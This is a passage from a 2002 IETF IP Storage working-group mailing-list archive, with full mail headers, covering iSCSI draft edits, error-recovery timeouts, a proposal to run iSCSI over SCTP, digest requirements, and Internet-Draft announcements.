volunteer to > write one/some? > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > -- Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ bidulock@openss7.org ¦ world; the unreasonable one persists in ¦ http://www.openss7.org/ ¦ trying to adapt the world to himself. ¦ ¦ Therefore all progress depends on the ¦ ¦ unreasonable man. -- George Bernard Shaw ¦ From owner-ips@ece.cmu.edu Tue Aug 27 18:49:55 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15530 for ; Tue, 27 Aug 2002 18:49:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RMJ8b26672 for ips-outgoing; Tue, 27 Aug 2002 18:19:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RMJ6o26668 for ; Tue, 27 Aug 2002 18:19:06 -0400 (EDT) Received: from rosemail.rose.hp.com (rosemail.rose.hp.com [15.96.64.26]) by palrel13.hp.com (Postfix) with ESMTP id 4469D400C3F; Tue, 27 Aug 2002 15:19:05 -0700 (PDT) Received: from swathi (swathi.rose.hp.com [15.43.213.237]) by rosemail.rose.hp.com with SMTP (8.7.1/8.7.3 SMKit7.02) id PAA22914; Tue, 27 Aug 2002 15:19:04 -0700 (PDT) Message-ID: <008c01c24e17$c01dfbc0$edd52b0f@rose.hp.com> From: "Mallikarjun C." To: "Gwendal Grignou" , References: <002d01c24e04$bf25dac0$7810000a@corp.silverbacksystems.com> Subject: Re: iscsi: sequence timeout Date: Tue, 27 Aug 2002 15:19:02 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gwendal, Yes, "sequence timeout" should be changed to "sequence reception timeout" for consistency. Thanks. > occurs. According to the document, in 5.14.1.b), a sequence timeout is Only the option of a recovery R2T is allowed in this case, given that it's the description of "recovery within-command" (and 5.14.1.b makes it clear). >could it be mentioned the target can > terminate the command when the Sequence reception timeout pops up Only if it's certain that there are no more PDUs relating to the same ITT in the pipe *and* the initiator won't issue any further. The only way to ascertain this to ensure that the task is terminated on either end. >Should the target take more > drastic action to prevent this situation? Yes, one of the means to force a termination by the target is to drop the session. And I don't recommend it on a sequence reception timeout for one I/O..... -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: "Gwendal Grignou" To: Sent: Tuesday, August 27, 2002 1:03 PM Subject: iscsi: sequence timeout > Hello, > > First of all, I have a little editing comment: for coherency, > "Sequence timeout" should be renamed "Sequence reception timeout". (2 > occurrences) > > I have a question about what to do when the Sequence reception timeout > occurs. According to the document, in 5.14.1.b), a sequence timeout is > considered as an implicit sequence errors documented in 5.8 which is > considered as an implicit digest errors documented in 5.7. Target can > either send a recovery R2T or complete the command with sense data, > indicating a "protocol service CRC error". But it is also mentioned in > 5.7 that the target should wait for all the data, signaled with a Data > PDU with an F bit) before finishing that command... > > To solve this chicken&egg thing, could it be mentioned the target can > terminate the command when the Sequence reception timeout pops up? But > then it has to handle the case the final DataOut PDU arrives after the > "Sequence reception timeout" interval. Should the target take more > drastic action to prevent this situation? > > Gwendal. > > From owner-ips@ece.cmu.edu Tue Aug 27 18:49:55 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15537 for ; Tue, 27 Aug 2002 18:49:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RMJIm26686 for ips-outgoing; Tue, 27 Aug 2002 18:19:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RMJHo26681 for ; Tue, 27 Aug 2002 18:19:17 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Aug 2002 18:19:11 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C220@CORPMX14> From: Black_David@emc.com To: bidulock@openss7.org Cc: ips@ece.cmu.edu Subject: IPS and SCTP Date: Tue, 27 Aug 2002 18:19:08 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id g7RMJHo26683 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Brian, Nothing serious that I know of ... care to volunteer to write one/some? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Brian F. G. Bidulock [mailto:bidulock@openss7.org] > Sent: Monday, August 26, 2002 1:54 PM > To: Black_David@emc.com > Cc: ips@ece.cmu.edu > Subject: Re: iSCSI WG Last Call COMPLETE > > > David, > > Congratulations. > > On another note, are there any plans or drafts > for supporting iSCSI (or IPS in general) over SCTP? > > --brian > > On Mon, 26 Aug 2002, Black_David@emc.com wrote: > > > The ips WG Last Call period on the iSCSI draft, > > draft-ietf-ips-iscsi-15.txt, closed yesterday. In > > the judgment of the WG co-chairs, all of the technical > > issues that have been raised are relatively minor and > > can be addressed without a further WG Last Call. At > > least one further version of the draft is expected to > > encompass these as well as a number of editorial > > changes. > > > > So, the iSCSI draft has *passed* WG Last Call - it's > > been a lot of work to get here. Many thanks to all > > who have contributed, and for the perseverance, > > dedication and patience of those involved, especially > > Julian who has put in untold hours of work to get the > > draft to this stage. Congratulations. > > > > Thanks, > > --David and Elizabeth > > > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > -- > Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ > bidulock@openss7.org ¦ world; the unreasonable one persists in ¦ > http://www.openss7.org/ ¦ trying to adapt the world to himself. ¦ > ¦ Therefore all progress depends on the ¦ > ¦ unreasonable man. -- George Bernard Shaw ¦ > From owner-ips@ece.cmu.edu Tue Aug 27 18:50:19 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15561 for ; Tue, 27 Aug 2002 18:50:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RME8Q26410 for ips-outgoing; Tue, 27 Aug 2002 18:14:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RME7o26406 for ; Tue, 27 Aug 2002 18:14:07 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g7RMDwG02044; Tue, 27 Aug 2002 18:13:58 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g7RMDv719938; Tue, 27 Aug 2002 18:13:57 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Aug 2002 18:13:57 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C21F@CORPMX14> From: Black_David@emc.com To: bforbes@Brocade.COM Cc: ips@ece.cmu.edu Subject: RE: IPS WG Last Call: Structural Improvements Date: Tue, 27 Aug 2002 18:13:54 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > Alas, it seems this discussion will soon be 'overcome by events'. So I guess it falls to me to explain the forthcoming 'events'. The WG co-chairs have asked that the overviews of both Section 4 and Section 5 be expanded for clarity - as part of AD review and IETF Last Call, the draft will be read by people who have not been following the voluminous email discussions on the list and hence don't have the benefit of the WG's hard-won "accumulated wisdom". It makes sense to add text now to make the draft more accessible to such people. Brian's request for the expansion of the login overview in Section 4 is within reason, and there should be improvement in this area. For Section 5, it appears that moving the discussion of Error Recovery Levels and Hierarchy to the front of the session will address much of the corresponding concern. There will be some editing of the IANA Considerations text, but we won't know whether it's really right until IANA reviews it, and that won't happen for a while yet. Beyond, this, your WG co-chairs believe that wholesale changes in terminology, format and structure of sections are not necessary at this point in time. Thanks, --David and Elizabeth --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Aug 27 18:50:34 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15575 for ; Tue, 27 Aug 2002 18:50:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RMesm27708 for ips-outgoing; Tue, 27 Aug 2002 18:40:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RMeqo27700 for ; Tue, 27 Aug 2002 18:40:53 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Aug 2002 18:40:47 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C222@CORPMX14> From: Black_David@emc.com To: bidulock@openss7.org Cc: ips@ece.cmu.edu Subject: RE: IPS and SCTP Date: Tue, 27 Aug 2002 18:40:44 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Brian, > Sure. Perhaps a start would be (for me) to write an > individual submission extension draft for running, say, > iSCSI over SCTP. Would that be of interest to this WG? > What would be the best timing for such a submission? I can't speak for the WG as a whole, but that sounds like a reasonable course of action to me. Getting a first version of your draft submitted far enough in advance of the Atlanta meetings so that people will have time to read and consider it (i.e., well before the "just prior to the deadline" draft deluge) ought to allow the WG the opportunity to decide whether to make it an official work item in Atlanta. A few iSCSI over SCTP things to start with: - Header digests can be eliminated since SCTP now uses CRC32C, and should result in a visible simplification of error recovery. - Unless SCTP has changed to allow load balancing as part of its multi-homing/failover support, iSCSI sessions will need to support multiple SCTP sessions per connection for load balancing. - SCTP's ability to avoid head-of-line blocking should be useful when immediate delivery of iSCSI commands is requested. Enjoy, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Aug 27 19:05:16 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA16101 for ; Tue, 27 Aug 2002 19:05:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RMnsJ28210 for ips-outgoing; Tue, 27 Aug 2002 18:49:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from gw.openss7.com (IDENT:Che8SRGsWV6DRFQ1Y4Sl2Dny0vvfk/gI@fw.openss7.com [142.179.197.31] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RMnpo28205 for ; Tue, 27 Aug 2002 18:49:51 -0400 (EDT) Received: from ns.pigworks.openss7.net (ns1.evil.openss7.net [192.168.9.1]) by gw.openss7.com (8.11.6/8.11.6) with ESMTP id g7RMnoN11678; Tue, 27 Aug 2002 16:49:50 -0600 Received: (from brian@localhost) by ns.pigworks.openss7.net (8.11.6/8.11.6) id g7RMnnI30166; Tue, 27 Aug 2002 16:49:49 -0600 Date: Tue, 27 Aug 2002 16:49:49 -0600 From: "Brian F. G. Bidulock" To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: Re: IPS and SCTP Message-ID: <20020827164949.A30083@openss7.org> Reply-To: bidulock@openss7.org References: <277DD60FB639D511AC0400B0D068B71E0564C222@CORPMX14> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <277DD60FB639D511AC0400B0D068B71E0564C222@CORPMX14>; from Black_David@emc.com on Tue, Aug 27, 2002 at 06:40:44PM -0400 Organization: http://www.openss7.org/ Dsn-Notification-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit David, Thanks for the tips. I think that it should be possible to release a draft before the Atlanta meeting. Can I bounce preliminary drafts off of you? --brian On Tue, 27 Aug 2002, Black_David@emc.com wrote: > Brian, > > > Sure. Perhaps a start would be (for me) to write an > > individual submission extension draft for running, say, > > iSCSI over SCTP. Would that be of interest to this WG? > > What would be the best timing for such a submission? > > I can't speak for the WG as a whole, but that sounds like > a reasonable course of action to me. Getting a first > version of your draft submitted far enough in advance > of the Atlanta meetings so that people will have time to read > and consider it (i.e., well before the "just prior to the > deadline" draft deluge) ought to allow the WG the opportunity > to decide whether to make it an official work item in Atlanta. > > A few iSCSI over SCTP things to start with: > - Header digests can be eliminated since SCTP now uses CRC32C, > and should result in a visible simplification of error > recovery. > - Unless SCTP has changed to allow load balancing as part of > its multi-homing/failover support, iSCSI sessions will > need to support multiple SCTP sessions per connection > for load balancing. > - SCTP's ability to avoid head-of-line blocking should be useful > when immediate delivery of iSCSI commands is requested. > > Enjoy, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- -- Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ bidulock@openss7.org ¦ world; the unreasonable one persists in ¦ http://www.openss7.org/ ¦ trying to adapt the world to himself. ¦ ¦ Therefore all progress depends on the ¦ ¦ unreasonable man. -- George Bernard Shaw ¦ From owner-ips@ece.cmu.edu Tue Aug 27 20:28:24 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18595 for ; Tue, 27 Aug 2002 20:28:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RNqmf00885 for ips-outgoing; Tue, 27 Aug 2002 19:52:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RNqlo00881 for ; Tue, 27 Aug 2002 19:52:47 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g7RNqRH15424; Tue, 27 Aug 2002 19:52:27 -0400 Message-ID: <3D6C10BB.4E57ACB@splentec.com> Date: Tue, 27 Aug 2002 19:52:27 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: David Black , Julian Satran CC: iSCSI Subject: SCSI Target Port Name/Identifier and VPD Identifier type Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David, Julian, There appears to be no appropriate Identifier Type (Table 268, SPC-3, r8) which can report the SCSI Target Port Identifier/Name. I've communicated this with the T10 people and they suggested that an iSCSI person bring in a proposal for a new identifier type that would handle iSCSI name requirements. Please keep me posted on this, -- Luben P.S. Size requirements are to be handled by T10 document 02-303r0. From owner-ips@ece.cmu.edu Wed Aug 28 08:54:36 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27855 for ; Wed, 28 Aug 2002 08:54:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SCJkb13560 for ips-outgoing; Wed, 28 Aug 2002 08:19:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SButo12577 for ; Wed, 28 Aug 2002 07:56:55 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24463; Wed, 28 Aug 2002 07:55:24 -0400 (EDT) Message-Id: <200208281155.HAA24463@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: dhcwg@ietf.org, ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dhc-isnsoption-02.txt,.pdf Date: Wed, 28 Aug 2002 07:55:23 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Dynamic Host Configuration Working Group of the IETF. Title : DHCP Options for Internet Storage Name Service Author(s) : J. Tseng et al. Filename : draft-ietf-dhc-isnsoption-02.txt,.pdf Pages : 11 Date : 2002-8-27 This document describes the DHCP option to allow iSNS clients devices using DHCP to automatically discover the location of the iSNS server. iSNS provides discovery and management capabilities for iSCSI and Fibre Channel (FCP) storage devices in an enterprise-scale IP storage network. iSNS provides intelligent storage management services comparable to those found in Fibre Channel networks, allowing a commodity IP network to function in a similar capacity as a storage area network. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dhc-isnsoption-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dhc-isnsoption-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dhc-isnsoption-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-8-27144429.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dhc-isnsoption-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dhc-isnsoption-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-8-27144429.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Wed Aug 28 08:56:28 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27929 for ; Wed, 28 Aug 2002 08:56:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SCMtt13714 for ips-outgoing; Wed, 28 Aug 2002 08:22:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SBwso12678 for ; Wed, 28 Aug 2002 07:58:54 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24968; Wed, 28 Aug 2002 07:57:24 -0400 (EDT) Message-Id: <200208281157.HAA24968@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-security-15.txt Date: Wed, 28 Aug 2002 07:57:24 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Securing Block Storage Protocols over IP Author(s) : B. Aboba et al. Filename : draft-ietf-ips-security-15.txt Pages : 67 Date : 2002-8-27 This document discusses how to secure block storage and storage discovery protocols running over IP. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-security-15.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-security-15.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-security-15.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-8-27144807.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-security-15.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-security-15.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-8-27144807.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Wed Aug 28 11:43:52 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04867 for ; Wed, 28 Aug 2002 11:43:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SF4jK23954 for ips-outgoing; Wed, 28 Aug 2002 11:04:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SF4io23950 for ; Wed, 28 Aug 2002 11:04:44 -0400 (EDT) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.151]) by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g7SF4Z3x001869; Wed, 28 Aug 2002 08:04:35 -0700 (PDT) Received: from nisser.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.12.2/8.12.2) with ESMTP id g7SF4ak2023069; Wed, 28 Aug 2002 08:04:36 -0700 (PDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [64.101.211.87]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id IAA13267; Wed, 28 Aug 2002 08:04:35 -0700 (PDT) Message-ID: <3D6CEADA.BAE51A1B@cisco.com> Date: Wed, 28 Aug 2002 10:23:06 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Black_David@emc.com CC: bidulock@openss7.org, ips@ece.cmu.edu Subject: Re: IPS and SCTP References: <277DD60FB639D511AC0400B0D068B71E0564C222@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Just one clarification; although header digests can be eliminated, data digests must remain for the same reasons given in the security draft. -- Mark Black_David@emc.com wrote: > > Brian, > > > Sure. Perhaps a start would be (for me) to write an > > individual submission extension draft for running, say, > > iSCSI over SCTP. Would that be of interest to this WG? > > What would be the best timing for such a submission? > > I can't speak for the WG as a whole, but that sounds like > a reasonable course of action to me. Getting a first > version of your draft submitted far enough in advance > of the Atlanta meetings so that people will have time to read > and consider it (i.e., well before the "just prior to the > deadline" draft deluge) ought to allow the WG the opportunity > to decide whether to make it an official work item in Atlanta. > > A few iSCSI over SCTP things to start with: > - Header digests can be eliminated since SCTP now uses CRC32C, > and should result in a visible simplification of error > recovery. > - Unless SCTP has changed to allow load balancing as part of > its multi-homing/failover support, iSCSI sessions will > need to support multiple SCTP sessions per connection > for load balancing. > - SCTP's ability to avoid head-of-line blocking should be useful > when immediate delivery of iSCSI commands is requested. > > Enjoy, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Aug 28 11:52:32 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05951 for ; Wed, 28 Aug 2002 11:52:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SFUO125695 for ips-outgoing; Wed, 28 Aug 2002 11:30:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SFUNo25691 for ; Wed, 28 Aug 2002 11:30:23 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 28 Aug 2002 11:29:39 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C229@CORPMX14> From: Black_David@emc.com To: mbakke@cisco.com Cc: ips@ece.cmu.edu Subject: RE: IPS and SCTP Date: Wed, 28 Aug 2002 11:29:35 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree, especially as data digests were separated from header digests to allow proxies to do the proverbial "right thing" for data integrity (CRC32C on data is preserved [end-to-end] through the proxy, rather than stripped and regenerated by the proxy), and iSCSI/SCTP to iSCSI/TCP proxies are quite likely to appear as one consequence of running iSCSI over SCTP. Thanks, --David > -----Original Message----- > From: Mark Bakke [mailto:mbakke@cisco.com] > Sent: Wednesday, August 28, 2002 11:23 AM > To: Black_David@emc.com > Cc: bidulock@openss7.org; ips@ece.cmu.edu > Subject: Re: IPS and SCTP > > > > Just one clarification; although header digests can be eliminated, > data digests must remain for the same reasons given in the > security draft. > > -- > Mark > > Black_David@emc.com wrote: > > > > Brian, > > > > > Sure. Perhaps a start would be (for me) to write an > > > individual submission extension draft for running, say, > > > iSCSI over SCTP. Would that be of interest to this WG? > > > What would be the best timing for such a submission? > > > > I can't speak for the WG as a whole, but that sounds like > > a reasonable course of action to me. Getting a first > > version of your draft submitted far enough in advance > > of the Atlanta meetings so that people will have time to read > > and consider it (i.e., well before the "just prior to the > > deadline" draft deluge) ought to allow the WG the opportunity > > to decide whether to make it an official work item in Atlanta. > > > > A few iSCSI over SCTP things to start with: > > - Header digests can be eliminated since SCTP now uses CRC32C, > > and 